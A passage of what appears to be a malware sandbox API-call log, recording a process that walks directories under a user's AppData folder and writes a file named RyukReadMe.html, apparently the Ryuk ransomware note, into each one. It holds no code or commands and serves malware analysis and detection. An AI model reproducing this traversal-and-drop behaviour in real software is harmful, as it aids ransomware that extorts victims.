	[0262.465] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.465] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1
	[0262.465] SetLastError (dwErrCode=0x0) 
	[0262.465] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.466] GetLastError () returned 0x0
	[0262.466] WriteFile (in: hFile=0x748, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.468] CloseHandle (hObject=0x748) returned 1
	[0262.468] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.469] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.469] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0262.469] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.469] SetLastError (dwErrCode=0x0) 
	[0262.469] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1024\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.488] GetLastError () returned 0x0
	[0262.488] WriteFile (in: hFile=0x74c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.490] CloseHandle (hObject=0x74c) returned 1
	[0262.490] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0262.490] SetLastError (dwErrCode=0x0) 
	[0262.490] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.490] GetLastError () returned 0xb7
	[0262.490] CloseHandle (hObject=0x74c) returned 1
	[0262.491] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.491] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.491] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1
	[0262.491] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 0
	[0262.491] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.492] SetLastError (dwErrCode=0x0) 
	[0262.492] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.492] GetLastError () returned 0x0
	[0262.492] WriteFile (in: hFile=0x74c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0262.494] CloseHandle (hObject=0x74c) returned 1
	[0262.494] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0262.494] SetLastError (dwErrCode=0x0) 
	[0262.495] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0262.495] GetLastError () returned 0xb7
	[0262.495] CloseHandle (hObject=0x74c) returned 1
	[0262.495] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.495] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.496] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0262.496] SetLastError (dwErrCode=0x0) 
	[0262.496] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.497] GetLastError () returned 0x0
	[0262.497] WriteFile (in: hFile=0x748, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0262.504] CloseHandle (hObject=0x748) returned 1
	[0262.504] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0262.504] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.504] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.505] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0262.505] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0262.505] SetLastError (dwErrCode=0x0) 
	[0262.505] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.506] GetLastError () returned 0x0
	[0262.506] WriteFile (in: hFile=0x748, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0262.507] CloseHandle (hObject=0x748) returned 1
	[0262.508] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn1", cAlternateFileName="")) returned 1
	[0262.508] SetLastError (dwErrCode=0x0) 
	[0262.508] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0262.508] GetLastError () returned 0xb7
	[0262.508] CloseHandle (hObject=0x748) returned 1
	[0262.508] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0262.509] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3b9ee2a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f30c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.509] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.509] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3b9f09b0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b9f09b0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x3b9f09b0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0262.509] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0262.509] SetLastError (dwErrCode=0x0) 
	[0262.509] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn1\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\burn1\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0262.650] GetLastError () returned 0x0
	[0262.650] WriteFile (in: hFile=0x758, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0262.652] CloseHandle (hObject=0x758) returned 1
	[0262.652] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Burn2", cAlternateFileName="")) returned 1
	[0262.652] SetLastError (dwErrCode=0x0) 
	[0262.652] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\burn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x758
	[0262.652] GetLastError () returned 0xb7
	[0262.652] CloseHandle (hObject=0x758) returned 1
	[0262.653] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Burn\\Burn2\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0262.853] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x926116d0, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.853] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0262.853] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x92637830, ftCreationTime.dwHighDateTime=0x1d30596, ftLastAccessTime.dwLowDateTime=0x92637830, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x92637830, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0262.854] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0262.854] SetLastError (dwErrCode=0x0) 
